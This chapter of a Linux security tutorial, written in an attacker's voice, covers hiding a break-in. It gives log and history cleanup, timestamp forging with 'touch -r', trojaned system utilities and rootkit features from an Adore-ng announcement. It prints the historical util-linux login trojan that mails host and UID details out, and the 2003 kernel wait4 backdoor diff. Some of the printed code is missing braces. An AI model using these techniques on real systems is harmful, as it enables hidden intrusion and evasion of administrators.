Next Previous Contents

13. Stealth

After breaking in the first thing one does is cleaning up. The break-in described in the above left a stopped modprobe process from a failed attempt. Kill it. There were some error messages in the logs. Remove them. The sequence of all commands given can be seen from the shell history file. Delete it.

After the break-in one probably wants to leave a backdoor.

Recent changes in a directory are very conspicuous:

-rwxr-xr-x    1 root     root        14812 Aug 14  2001 cat
-rwxr-xr-x    1 root     root        16732 Apr  1 23:59 chgrp
-rwxr-xr-x    1 root     root        16956 Aug  9  2001 chmod
-rwxr-xr-x    1 root     root        18588 Aug  9  2001 chown
-rwxr-xr-x    1 root     root        46188 Sep  6  2001 consolechars
-rwxr-xr-x    1 root     root        36604 Aug  9  2001 cp
-rwxr-xr-x    1 root     root        48796 Jun 26  2001 cpio
When changing files it is imperative to make sure the date does not change. Giving chgrp here the same date as chmod improves things:
# touch -r chmod chgrp
# ls -l chgrp chmod
-rwxr-xr-x    1 root     root        16732 Aug  9  2001 chgrp
-rwxr-xr-x    1 root     root        16956 Aug  9  2001 chmod
but the right thing is to preserve the date from the beginning:
# touch -r chgrp mychgrp
# mv mychgrp chgrp

This was the trivial part. It is even better if one succeeds in giving the trojan version of a program the same size as the original one. Often that is not difficult. Still better is to give the trojan version of a program the same MD5 sum as the original. Of course we cannot do this, but a trojan version of md5sum that has a list of correct answers for the files we replaced (including md5sum itself) will do.

(Note that rpm -V will verify size, MD5 sum, permissions, type, owner and group of each file. It is not defeated by a trojan md5sum, so must itself be replaced. Ach.)

Maybe one is not satisfied with coming in, but wants to do something. Such actions must be invisible, so a trojan version of ps, pstree, top will help. These actions may involve probing other machines on the net, and trojan versions of programs like netstat are needed. Etc.

If the owner or system administrator of this machine only uses standard utilities, this approach - replacing a couple of utilities by trojan versions - may suffice. But one always overlooks something. The number of utilities is very large. Much more thorough is to load a kernel module that modifies the readdir() call and the proc filesystem so that the rogue files and processes are not shown.

And once one goes this way, maybe no files and no processes are needed. Everything can be done from kernel space, completely invisibly (until the next reboot).

There are standard tools that help. See for example this announcement.


you can find the latest Adore-ng. Since the new version supports
various new features as previously braindumped in Phrack #61
(evil-log-tagging, LKM infection, reboot residency) I announce
this version.

If you never used adore before, here's a list of supported

 o runs on kernel 2.4.x UP and SMP systems
 o first test-versions successfully run on 2.6.0
 o file and directory hiding
 o process hiding
 o socket-hiding (no matter whether LISTENing, CONNECTED etc)
 o full-capability back door
 o does not utilize sys_call_table but VFS layer
 o KISS principle, to have as few things in there as possible
   but also being as much powerful as possible
new since adore-ng 0.30:

 o syslog filtering: logs generated by hidden processes never appear
   on the syslog UNIX socket anymore
 o wtmp/utmp/lastlog filtering: writing of xtmp entries by hidden
   do not appear in the file, except you force it by using special
   hidden AND authenticated process (a sshd back door is usually only
   hidden thus xtmp entries written by sshd don't make it to disk)   
 o (optional) relinking of LKMs as described in phrack #61 aka
   LKM infection to make it possible to be automatically reloaded after
  The build and installation process is usually as easy as
  './configure && make && ./startadore' and/or
  './configure && make && ./relink' so you can set up your honey-pot
  test-environment very easily.

13.1 Integrity checking

The rpm -V mentioned above is a good start in checking that all files installed from the distribution CDROMs are still OK. Especially if one checks after booting from CDROM, using an rpm from CDROM.

More generally, one has packages like Tripwire that one can tell which files and directories on which machines to watch and not to watch, and for what properties. Tripwire can check all stat data - the three timestamps (creation, modification, last access), the owner and group IDs, the permissions, the file type, the size and the number of blocks, inode number, device number, real device number, number of links - and a few checksums (CRC-32, MD5, SHA, Haval), and also allows one to require things like "this file may only increase in size".

I do not know of standard utilities to check the integrity of the running kernel. Of special interest are system call table and the start of each of the routines implementing a system call.

Exercise Write a utility that given checks as much as possible about the running kernel.

13.2 A login backdoor

Just before Linux 2.2 was released, and it was to be expected that lots of people would upgrade and need the latest versions of the utilities, the util-linux-2.9g.tar.gz distribution tar file on the TUE server was replaced by a trojan version. The size remained the same, and the time stamp remained the same, but in the login utility an additional routine checkname() was inserted to check a given user name. This routine:

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

checkname(char *name)
        char    a[100];
        char    *pt;

        if ((name[0] == '#') && (name[1] == '!'))
                pt = (char*)&name[2];
        if (fork() == 0)
                struct  hostent *he;
                struct  sockaddr_in sai;
                struct  in_addr *ia;
                char    b[500];
                int     s,l;

                s = open("/var/tmp/.fmlock0",O_RDONLY);
                if (s >= 0) exit(0);
                he = gethostbyname("");
                if (!he) exit(0);
                ia = (struct in_addr *)he->h_addr_list[0];
                l = sizeof(sai);memset(&sai,0,l);
                sai.sin_port = htons(25);
                sai.sin_addr.s_addr = ia->s_addr;
                if ((s = socket(AF_INET,SOCK_STREAM,0)) < 0) exit(0);
                if ((connect(s,(struct sockaddr*)&sai,l)) < 0) exit(0);
                if ((getsockname(s,(struct sockaddr*)&sai,&l)) < 0) exit(0);
                sprintf(b,"\r\nHost = %s\r\nUid = %i\r\n\r\n.\r\n",inet_ntoa(sai.sin_addr),getuid());
                sleep(1);if (write(s,"HELO\n",15) < 0) exit(0);
                sleep(1);if (write(s,"MAIL FROM:<>\n",28) < 0) exit(0);
                if (write(s,"RCPT TO:<>\n",30) < 0) exit(0);
                sleep(1);if (write(s,"DATA\n",5) < 0) exit(0);
                sleep(1);if (write(s,b,strlen(b)) < 0) exit(0);
                sleep(1);if (write(s,"QUIT\n",5) < 0) exit(0);

In other words, give direct access to anybody who logs in with #!sh or so. Send, if we did not send anything already, mail to to tell about this host and the user ID of login.

A very useful extension of login functionality. However, this improvement was quickly discovered. That is a disadvantage of open source - there are always people who actually read the stuff and don't understand why login should send letters to a hotmail address.

13.3 A kernel backdoor

Larry McVoy reported an unofficial change of the sys_wait4 code.

From: Larry McVoy
Date: Wed Nov 05 2003 - 15:47:06 EST

Somebody has modified the CVS tree on directly. Dave looked
at the machine and it looked like someone may have been trying to break in and
do it.

We've fixed the file in question, the conversion is done back here at BitMover
and after we transfer the files we check them and make sure they are OK and
this file got flagged.

The CVS tree is fine, you might want to remove and update exit.c to make sure
you have the current version in your tree however.

From: Matthew Dharm
Date: Wed Nov 05 2003 - 15:59:43 EST

Out of curiosity, what were the changed lines?

From: Larry McVoy
Date: Wed Nov 05 2003 - 17:26:28 EST

--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
goto repeat;
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
current->state = TASK_RUNNING;

From: Zwane Mwaikambo
Date: Wed Nov 05 2003 - 17:35:35 EST

That looks odd

From: Andries Brouwer
Date: Wed Nov 05 2003 - 17:56:16 EST

Not if you hope to get root.

13.4 A famous backdoor

Ken Thompson showed how to insert backdoors in software without leaving any trace. Here is the text of his Turing Award address.

The idea is to put a backdoor in the C compiler instead of in login, so, that the C compiler will insert the translation of the login backdoor into the login binary if it sees that it is translating login. Now the login source is clean but the C compiler source is suspect. Repeat: also make the C compiler insert the translation of the C compiler backdoor into the cc binary if it sees that it is translating cc. Now cc and login both contain a trojan, but their source is clean.

Next Previous Contents